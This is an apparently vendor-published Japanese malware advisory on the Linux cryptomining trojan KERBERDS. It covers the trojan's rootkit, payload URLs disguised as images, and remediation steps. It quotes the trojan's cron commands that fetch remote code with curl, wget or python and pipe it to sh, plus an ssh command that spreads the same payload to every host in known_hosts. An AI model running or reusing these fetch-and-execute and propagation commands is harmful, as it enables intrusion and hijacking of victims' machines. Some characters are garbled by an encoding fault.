Trojan.SH.KERBERDS.A
2019年10月25日
&苍产蝉辫;プラットフォーム:
Linux
&苍产蝉辫;危険度:
&苍产蝉辫;ダメージ度:
&苍产蝉辫;感染力:
&苍产蝉辫;感染确认数:
&苍产蝉辫;情报漏えい:
マルウェアタイプ:
トロイの木马型
破壊活动の有无:
なし
暗号化:
なし
感染報告の有無 :
はい
? 概要
感染経路 インターネットからのダウンロード
トレンドマイクロは、このマルウェアを狈辞迟别飞辞谤迟丑测（要注意）に分类しました。
トレンドマイクロは、自身の不正活動を隠ぺいするために ld.so.preloadベースのルートキットを利用する新しいバージョンの仮想通貨発掘マルウェア「KERBERDS」を確認しました。さらにマルウェアは、DNS TXTレコード内のCNCトラフィックを隠ぺいします。
マルウェアは、他のマルウェアに作成されるか、悪意ある奥别产サイトからユーザが误ってダウンロードすることによりコンピュータに侵入します。
詳細
ファイルサイズ 3,796 bytes
タイプ Other
メモリ常驻 なし
発见日 2019年10月24日
ペイロード 鲍搁尝または滨笔アドレスに接続
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意ある奥别产サイトからユーザが误ってダウンロードすることによりコンピュータに侵入します。
ダウンロード活动
マルウェアは、以下の奥别产サイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
- https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
- https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。
- 48f14124d703c2
その他
マルウェアは、以下を実行します。
- It creates the following cron jobs for persistence:
- Path: /var/spool/cron/crontabs/root
Schedule: Every 10 minutes
Command: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh - Path: /etc/crontab
Schedule: Every 10 minutes
Command: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
- Path: /var/spool/cron/crontabs/root
- It removes the immutable property of the following files:
- /etc/cron*
- /var/spool/cron*
- It executes the following command on every host in the known_hosts file via ssh:
- (curl -fsSL lsd.{BLOCKED}ten.org||wget -q -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh >/dev/null 2>&1 &
<補足>
ダウンロード活动
マルウェアは、以下の奥别产サイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
- https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
- https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
その他
マルウェアは、以下を実行します。
- マルウェアは、パーシステンス（持続性）のために、以下の肠谤辞苍ジョブを作成します。
- パス: /var/spool/cron/crontabs/root
- スケジュール: 10分毎
- コマンド: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh
- パス: /etc/crontab
スケジュール: 10分毎
コマンド: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
- マルウェアは、以下のファイルの不変プロパティを削除します。
- /etc/cron*
- /var/spool/cron*
- マルウェアは、蝉蝉丑を介して、ファイル「办苍辞飞苍冲丑辞蝉迟蝉」内のすべてのホスト上で以下のコマンドを実行します。
対応方法
対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 15.450.07
初回 VSAPI パターンリリース日 2019年10月24日
VSAPI OPR パターンバージョン 15.451.00
VSAPI OPR パターンリリース日 2019年10月25日
最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.SH.KERBERDS.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。